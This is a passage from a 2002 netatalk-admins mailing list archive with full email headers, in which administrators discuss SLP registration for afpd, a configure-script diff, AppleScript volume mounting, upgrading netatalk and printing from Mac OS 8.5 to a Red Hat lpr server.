> able to do slp.

Yes. One of the most active netatalk developers has done this:

| On Mon, 17 Sep 2001 14:44:33 -0400 (EDT), Joe Clarke wrote:
| 
| > The OpenSLP project has gratiously incorporated my patch so that afpd
| > can properly register so that OS X will see it.  This patch will
| > officially come out in 1.0.3.  For now, either install the stable-1.0
| > branch of OpenSLP, or my previously posted patch to 1.0.2 if you want
| > SRVLOC support with afpd.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:23:41 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA13599
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:23:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA15757
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:23:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA15742
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:23:40 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA15708
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:23:39 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA27427;
	Fri, 1 Feb 2002 16:49:53 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 01 Feb 2002 16:23:58 +0100
Subject: Re: Mounting volumes with AppleScript
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Deano! <deano@viz.com>, netatalk admins <netatalk-admins@umich.edu>
Message-ID: <B880719E.1A71E%Thomas.Kaiser@phg-online.de>
In-Reply-To: <1012518490.13189.153.camel@deanix.viz.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 31 Jan 2002 15:08:10 -0800, Deano! wrote:

> I think I missed part of this conversation, but could someone tell me
> what happens if you have the following in a script:
> 
> mount volume "afp://hostname/share/"
> 
> Will it then prompt for both user and* password?

Why don't you try it yourself? ;-)

But: It works like you expect...

> We'd certainly prefer to not have to rewrite each script a few hundred times,
> and this way we could build disk images with built-in desktop/dock/etc
> 'aliases' to the major server shares.

Why don't you use 'normal' server aliases for this purpose?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:26:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA13715
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:26:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA05234
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:26:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA05222
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:26:05 -0500 (EST)
Received: from holmes.cpfs.mpg.de (holmes.cpfs.mpg.de [141.5.12.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA05175
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:26:03 -0500 (EST)
Received: from cube.cpfs.mpg.de (bs@cube.cpfs.mpg.de [141.5.12.15]) by holmes.cpfs.mpg.de (8.8.8/8.8.2) with ESMTP id QAA26446; Fri, 1 Feb 2002 16:25:57 +0100 (MET)
Date: Fri, 1 Feb 2002 16:25:56 +0100
Subject: Re: SLP registration (was: Re: Aliases (sorry) and passwords)
Content-Type: multipart/mixed; boundary=Apple-Mail-1--89781910
Mime-Version: 1.0 (Apple Message framework v480)
Cc: Ken Gillett <keng@BTInternet.com>,
        Netatalk List <netatalk-admins@umich.edu>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
From: Burkhard Schmidt <bs@cpfs.mpg.de>
In-Reply-To: <B88070BA.1A71D%Thomas.Kaiser@phg-online.de>
Message-Id: <FCAD9067-1727-11D6-9D70-003065A28C6E@cpfs.mpg.de>
X-Mailer: Apple Mail (2.480)


--Apple-Mail-1--89781910
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed


Am Freitag den, 1. Februar 2002, um 16:20, schrieb Thomas Kaiser:

> On Fri, 1 Feb 2002 14:32:18 +0000, Ken Gillett wrote:
>
>> I've now updated to Netatalk 1.5.1.1 and am running OpenSLP 1.0.6 and
>> if I use slptool I can see the services that I have configured into
>> the static file, slp.reg. But Network Browser on the Mac sees nothing
>> - it appears that Netatalk is not 'registering' itself with slpd.
>
> Even in this case you can use a static entry like:
>
> slptool register "afp://[your server's ip address]/?NAME=[name of 
> server]"
>
> If I run a 'slptool dumpall' then I get for example:
>
>     afp://192.168.71.1/?NAME=datenschleuder,96
>
>> [...]
>> Anyone have any info on how to configure Netatalk to do this, there's
>> NOTHING in the docs?
>
> A solution has been posted on this list a few weeks ago:
>
> | On Thu, 20 Dec 2001 11:50:39 +0100, Burkhard Schmidt wrote:
> |
> | > (1) You have to set up an SLP server, if you don't have one already.
> | > Have a look at http://www.openslp.org/ for advice.
> | > (2) You have to install the SLP header file and library in 
> /path/to/slp
> | > on the machine you build Netatalk on.
> | > (3) Build Netatalk with the configure option "--enable-
> | > srvloc=/path/to/slp".
>
>> about slp, just a line in the source code somewhere, so it is supposed 
>> to be
>> able to do slp.
>
> Yes. One of the most active netatalk developers has done this:
>
> | On Mon, 17 Sep 2001 14:44:33 -0400 (EDT), Joe Clarke wrote:
> |
> | > The OpenSLP project has gratiously incorporated my patch so that 
> afpd
> | > can properly register so that OS X will see it.  This patch will
> | > officially come out in 1.0.3.  For now, either install the 
> stable-1.0
> | > branch of OpenSLP, or my previously posted patch to 1.0.2 if you 
> want
> | > SRVLOC support with afpd.

The configure switch '--enable-srvloc[=DIR]' which enables the SLP-code 
in Netatalk is broken in versions 1.5.1 and 1.5.1.1. You'll have to 
modify the configure script as illustrated in the attached diff to 
repair it.

With SLP enabled, Netatalk registers itself upon startup with the SLP 
server; you should see a line like 'Successfully registered 
afp://serverip/?NAME=servername with SRVLOC' in the syslog.

Regards, Burkhard.


--Apple-Mail-1--89781910
Content-Disposition: attachment
Content-Type: multipart/appledouble;
	boundary=Apple-Mail-2--89781910


--Apple-Mail-2--89781910
Content-Disposition: attachment;
	filename=configure-1.5.1.1.diff
Content-Transfer-Encoding: base64
Content-Type: application/applefile;
	name="configure-1.5.1.1.diff"

AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAABYAAAACAAAA
XgAAAX5URVhUQUxGQQAAY29uZmlndXJlLTEuNS4xLjEuZGlmZgAAAQAAAAFMAAAATAAAADIAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABIAAlNb25hY28AO1GsFDs3wP////8Ue6eQIgAEiD+9MxQAxgAIAAgAKAACAqwC
AAAoAAICrAIAuIBv1QAAAbEAAAGxAAAAAAEAAAABAAAAAUwAAABMAAAAMlNPUlQFPgCAABwAMgAA
TVBTUgAAAAoD7f//AAAAABRJC4Q=

--Apple-Mail-2--89781910
Content-Disposition: attachment;
	filename=configure-1.5.1.1.diff
Content-Transfer-Encoding: 7bit
Content-Type: application/text;
	x-mac-creator=414C4641;
	x-unix-mode=0755;
	x-mac-type=54455854;
	name="configure-1.5.1.1.diff"

--- configure.orig	Tue Jan 15 13:38:34 2002
+++ configure	Tue Jan 15 13:38:34 2002
@@ -8456,7 +8456,7 @@
 #define $ac_tr_lib 1
 EOF
 
-  LIBS="-lslp $LIBS"
+#  LIBS="-lslp $LIBS"
 
 else
   echo "$ac_t""no" 1>&6
@@ -8464,8 +8464,8 @@
 fi
 
 
-		SLP_LIBS="-L$slpdir/lib -lslp"
-		SLP_CFLAGS="-I$slpdir/include"
+		SLP_LIBS="-L$srvloc/lib -lslp"
+		SLP_CFLAGS="-I$srvloc/include"
 		cat >> confdefs.h <<\EOF
 #define USE_SRVLOC 1
 EOF

--Apple-Mail-2--89781910--

--Apple-Mail-1--89781910--


From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:31:42 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA14073
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:31:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA22095
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:31:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA22085
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:31:41 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA22050
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:31:40 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA26632
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 16:31:38 +0100
Message-ID: <3C5AB4DC.1060DB3E@euc.de>
Date: Fri, 01 Feb 2002 16:31:41 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: netatalk 1.5.1.1 installation
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA14073

Hi everybody,

just a 'simple' question ...

We're currently running 1.5pre6 on an intel server with Suse Linux 2.2.4

The system was configured with:
./configure --enable-suse --with-shadow --with-pam --with-flock-locks
--with-uams-path=/etc/atalk/uams --with-config-dir=/etc/atalk --enable-lastdid


What is the best way for us to 'upgrade to the latest version
without too much hassle? It's a productive system so I don't have much
time for
testing.... Do we have to remove the older version first
(I read that somewhere with previous versions).

Any suggestions - thanks in advance


-- 


mit freundlichen grüssen

........................................................

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln          
Neue Telefonnummern!....................................
EUC Online Service GmbH          tel : +49-221-58 007-20
........................................................
unix is like a tipi: no windows, no gates and an apache inside!

From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:38:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA14372
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:38:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA25480
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:38:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA25463
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:38:56 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA25441
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:38:54 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA27487;
	Fri, 1 Feb 2002 17:05:06 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 01 Feb 2002 16:39:11 +0100
Subject: Re: Mounting volumes with AppleScript
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Robert J. Rust" <robert.j.rust@uwrf.edu>,
        netatalk admins <netatalk-admins@umich.edu>
Message-ID: <B880752E.1A723%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B87F2905.7094%robert.j.rust@uwrf.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 31 Jan 2002 17:01:57 -0600, Robert J. Rust wrote:

> I just tried this on a freshly updated MacOS 9.2.2 system (from 9.1 ->
> 9.2.2) with AppleScript 1.7 and got the same "network file permission"
> error. 

Strange. I just tried to track this down (AppleScript 1.5.5 on MacOS 9 and
1.7 on MacOS X) and tried several User Authentication Modules on the servers
(netatalk 1.5.1 and EtherShare 2.6.5). But it works here with DHX,
2Way-RandNum and even Cleartext:

Feb  1 15:59:50 mailschleuder afpd[19099]: dhx login: tk
Feb  1 16:01:37 mailschleuder afpd[19165]: randnum/rand2num login: tk
Feb  1 16:26:38 mailschleuder afpd[19239]: cleartext login: tk

What messages appear in your syslog if you try it with 1.7/9.2.2?

To check dependencies with the used UAMs would you be so kind to supply the
UAMs your server supports?

Use 'asip-status.pl [ip address of your server] | grep "^UAMs"' on the
server for this purpose (<http://users.phg-online.de/tk/asip-status.pl.tgz>)

TIA,

Thomas

PS: Why not giving netatalk 1.5.x a try?


From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:50:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA15092
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:50:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA23856
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:50:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA23842
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:50:09 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA23829
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:50:07 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA27521;
	Fri, 1 Feb 2002 17:16:23 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 01 Feb 2002 16:50:28 +0100
Subject: Re: netatalk 1.5.1.1 installation
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Mac Conin <mconin@euc.de>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B88077D3.1A727%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C5AB4DC.1060DB3E@euc.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 01.02.2002 16:31 Uhr schrieb Mac Conin:

> The system was configured with:
> ./configure --enable-suse --with-shadow --with-pam --with-flock-locks
> --with-uams-path=/etc/atalk/uams --with-config-dir=/etc/atalk --enable-lastdid
> 
> 
> What is the best way for us to 'upgrade to the latest version
> without too much hassle?

I would install the most recent version of netatalk in another location, eg.
/usr/local/netatalk-1.5.1

If you first do a "mv /etc/init.d/atalk /etc/init.d/atalk-1.5pre6" and then
configure with:

./configure --enable-suse --with-shadow --with-pam --with-flock-locks
--prefix=/usr/local/netatalk-1.5.1 --with-config-dir=/etc/atalk
--with-uams-path=/usr/local/netatalk-1.5.1/etc/netatalk/uams
--with-did=last

you can switch between the pre-release and 1.5 easily :-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:55:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA15340
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:55:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA00163
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:55:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA00151
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:55:27 -0500 (EST)
Received: from gull.prod.itd.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA00133
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:55:27 -0500 (EST)
Received: from cpe-66-1-165-152.az.sprintbbd.net ([66.1.165.152] helo=rohan.tucson.boeckeler.com)
	by gull.prod.itd.earthlink.net with esmtp (Exim 3.33 #1)
	id 16Wg25-0005cj-00
	for netatalk-admins@umich.edu; Fri, 01 Feb 2002 07:55:25 -0800
Received: from vulcan.tucson.boeckeler.com (vulcan.tucson.boeckeler.com [10.0.1.162])
	by rohan.tucson.boeckeler.com (8.11.6/8.9.3) with ESMTP id g11FtK004376
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 08:55:20 -0700
Subject: Re: Printing from Mac OS 8.5 to linux Redhat 6.
From: "Carl D. Blake" <carl@boeckeler.com>
To: netatalk-admins@umich.edu
In-Reply-To: <3C5A04C8.2C24@post5.tele.dk>
References: <1012514885.10802.20.camel@vulcan> 
	<3C5A04C8.2C24@post5.tele.dk>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 01 Feb 2002 08:55:20 -0700
Message-Id: <1012578920.30189.28.camel@vulcan>
Mime-Version: 1.0

OK, we got the lpr/lpd method working.  Burkhard Schmidt suggested that
we include the mac in the /etc/hosts.lpd (I had forgotten about that
little detail).  Everything works fine now.  Thanks for your help.

On Thu, 2002-01-31 at 20:00, Mikkel C. Simonsen wrote:
> Carl D. Blake wrote:
> > 
> > I have a Mac running 8.5 that I am attempting to setup to print onto a
> > printer on a Redhat V6.2 system.  The linux system is running the lpr
> > printing system V0.50.5.  I installed netatalk 1.4b2+asun2.1.4 from a
> > RedHat RPM.  I can share files without any problems.  The Mac can see
> > the linux system and it can see the printer on the linux system.
> > However when I attempt a print from the Mac the Mac eventually times out
> > with a message like "Due to a communication error the print job could
> > not be printed."
> 
> The problem is that once papd receives an EOF, it closes the connection.
> And as most/all Mac applications create binary print jobs EOFs are often
> included...
> 
> If you print a text-only job it will most likely succeed.
> 
> If you don't include binary EPS-files in your printjobs you can setup
> most applications to create pure ASCII jobs. But as most Mac users do
> use binary EPS files (Photoshop images among other things) that won't
> work.
> 
> You should use lpr as someone else suggested. It works very well on OS9
> - I don't know about 8.5. Perhaps the free 8.6 update would help?
> 
> Best regards,
> 
> Mikkel C. Simonsen
> 
> 
> > lpr on the linux system works just fine - I can print to the printer
> > without any problems.  When the Mac attempts to print I can see in
> > /var/log/messages that papd is receiving a connection.  I can even see
> > the queue files appearing in /var/spool/lpd/lp, but they are very short
> > and never grow in size.  I would expect them to grow if they were
> > receiving data.  It looks like the Mac successfully makes the initial
> > connection to papd, but then for some reason is unable to send the data
> > to be printed.
> > 
> > I also tried this with netatalk 1.5.1.1 with exactly the same result.
> > 
> > My papd.conf file is as follows:
> > 
> > HPLaserJet6MP:\
> >         :pr=|/usr/bin/lpr -Plp:\
> >         :op=cdb:\
> >         :pd=/usr/share/lib/ppd/HPLaserJet6MP.ppd:
> > 
> > Does anybody have any suggestions?
-- 
Carl D. Blake
Electronics Design Engr. Mgr.
Boeckeler Instruments, Inc.
4650 S. Butterfield Dr.
Tucson, AZ  85714

Phone: 520-745-0001
FAX: 520-745-0004
email: carl@boeckeler.com



From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:57:02 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA15403
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:57:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA02393
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:57:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA02375
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:57:01 -0500 (EST)
Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA02349
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:57:00 -0500 (EST)
Received: from cpe-66-1-165-152.az.sprintbbd.net ([66.1.165.152] helo=rohan.tucson.boeckeler.com)
	by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #1)
	id 16Wg3f-0003xx-00
	for netatalk-admins@umich.edu; Fri, 01 Feb 2002 07:56:59 -0800
Received: from vulcan.tucson.boeckeler.com (vulcan.tucson.boeckeler.com [10.0.1.162])
	by rohan.tucson.boeckeler.com (8.11.6/8.9.3) with ESMTP id g11Fuv004381
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 08:56:58 -0700
Subject: Re: Printing from Mac OS 8.5 to linux Redhat 6.
From: "Carl D. Blake" <carl@boeckeler.com>
To: netatalk-admins@umich.edu
In-Reply-To: <p05100312b88039fde027@[10.0.1.10]>
References: <1012514885.10802.20.camel@vulcan> 
	<20020131165610.A13231@jaka.ece.uiuc.edu>
	<1012522283.10830.23.camel@vulcan>  <p05100312b88039fde027@[10.0.1.10]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 01 Feb 2002 08:56:57 -0700
Message-Id: <1012579018.10831.30.camel@vulcan>
Mime-Version: 1.0

On Fri, 2002-02-01 at 05:33, Ken Gillett wrote:
> At 5:11 pm -0700 31/1/02, Carl D. Blake wrote:
> >>  	MacOS 8.1 and later support direct printing to LPR/LPD devices.
> >>  You do not have to use PAPD at all.  Create a desktop printer on the
> >>  Macintosh.
> >>  	This is an FAQ.  This information does not appear in the FAQ at
> >>  http://netatalk.sourceforge.net/faq.php, unfortunately.
> >>  --
> >>  Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
> >>  "And they said work hard, and die suddenly, because it's fun."
> >>  	-Robyn Hitchcock.
> >Sad to say, I've already been trying to get the lpr/lpd method to work
> >for a while too.  I originally tried the papd method and had problems
> >with that, so I found out about the lpr/lpd method and tried that.  The
> >Mac freezes solid everytime I try the print using lpr/lpd.
> 
> 
> To print directly from Macs to LPR printers you need Apple's Desktop 
> Printer Utility. Select LPR, create the desktop printer and it should 
> all work - always has for me.
> 
> Was this freeze related to this method or via Netatalk?

The freeze was related to the lpr/lpd method.  Netatalk did not freeze.

> -- 
> 
> 
> 
> Ken  G i l l e t t
> 
> _/_/_/_/_/_/_/_/_/
-- 
Carl D. Blake
Electronics Design Engr. Mgr.
Boeckeler Instruments, Inc.
4650 S. Butterfield Dr.
Tucson, AZ  85714

Phone: 520-745-0001
FAX: 520-745-0004
email: carl@boeckeler.com



From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:58:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA15470
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:58:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA23638
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:58:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA23620
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:58:00 -0500 (EST)
Received: from scaup.prod.itd.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA23569
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:57:59 -0500 (EST)
Received: from cpe-66-1-165-152.az.sprintbbd.net ([66.1.165.152] helo=rohan.tucson.boeckeler.com)
	by scaup.prod.itd.earthlink.net with esmtp (Exim 3.33 #1)
	id 16Wg4b-0001g6-00
	for netatalk-admins@umich.edu; Fri, 01 Feb 2002 07:57:57 -0800
Received: from vulcan.tucson.boeckeler.com (vulcan.tucson.boeckeler.com [10.0.1.162])
	by rohan.tucson.boeckeler.com (8.11.6/8.9.3) with ESMTP id g11Fvr004386
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 08:57:53 -0700
Subject: Re: Printing from Mac OS 8.5 to linux Redhat 6.
From: "Carl D. Blake" <carl@boeckeler.com>
To: netatalk-admins@umich.edu
In-Reply-To: <D14BE20D-1717-11D6-9D70-003065A28C6E@cpfs.mpg.de>
References: <D14BE20D-1717-11D6-9D70-003065A28C6E@cpfs.mpg.de>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 01 Feb 2002 08:57:53 -0700
Message-Id: <1012579073.10910.32.camel@vulcan>
Mime-Version: 1.0

On Fri, 2002-02-01 at 06:30, Burkhard Schmidt wrote:
> 
> Am Freitag den, 1. Februar 2002, um 01:11, schrieb Carl D. Blake:
> 
> > On Thu, 2002-01-31 at 15:56, Tony Stuckey wrote:
> >> On Thu, Jan 31, 2002 at 03:08:03PM -0700, Carl D. Blake wrote:
> >>> I have a Mac running 8.5 that I am attempting to setup to print onto a
> >>> printer on a Redhat V6.2 system.  The linux system is running the lpr
> >>> printing system V0.50.5.
> >> [...]
> >>> lpr on the linux system works just fine - I can print to the printer
> >>> without any problems.
> >> [...]
> >>> Does anybody have any suggestions?
> >>
> >> 	MacOS 8.1 and later support direct printing to LPR/LPD devices.
> >> You do not have to use PAPD at all.  Create a desktop printer on the
> >> Macintosh.
> >> 	This is an FAQ.  This information does not appear in the FAQ at
> >> http://netatalk.sourceforge.net/faq.php, unfortunately.
> >> --
> >> Anthony J. Stuckey                              
> >> stuckey@jaka.ece.uiuc.edu
> >> "And they said work hard, and die suddenly, because it's fun."
> >> 	-Robyn Hitchcock.
> > Sad to say, I've already been trying to get the lpr/lpd method to work
> > for a while too.  I originally tried the papd method and had problems
> > with that, so I found out about the lpr/lpd method and tried that.  The
> > Mac freezes solid everytime I try the print using lpr/lpd.
> 
> Just in case you're trying to print via LPR to a printserver (instead of 
> directly to a printer): Did you update your /etc/hosts.lpd on the server 
> to allow the Mac OS clients to access it via LPR? Or is this not 
> necessary with Redhat Linux?

That did it.  Thanks.  I had forgotten about needing to add hosts to the
hosts.lpd file.

> 
> Regards, Burkhard.
-- 
Carl D. Blake
Electronics Design Engr. Mgr.
Boeckeler Instruments, Inc.
4650 S. Butterfield Dr.
Tucson, AZ  85714

Phone: 520-745-0001
FAX: 520-745-0004
email: carl@boeckeler.com



From netatalk.administrators-errors@umich.edu  Fri Feb  1 11:25:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA17440
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 11:25:58 -0500 (EST)
Received: (from daemon@localhost)
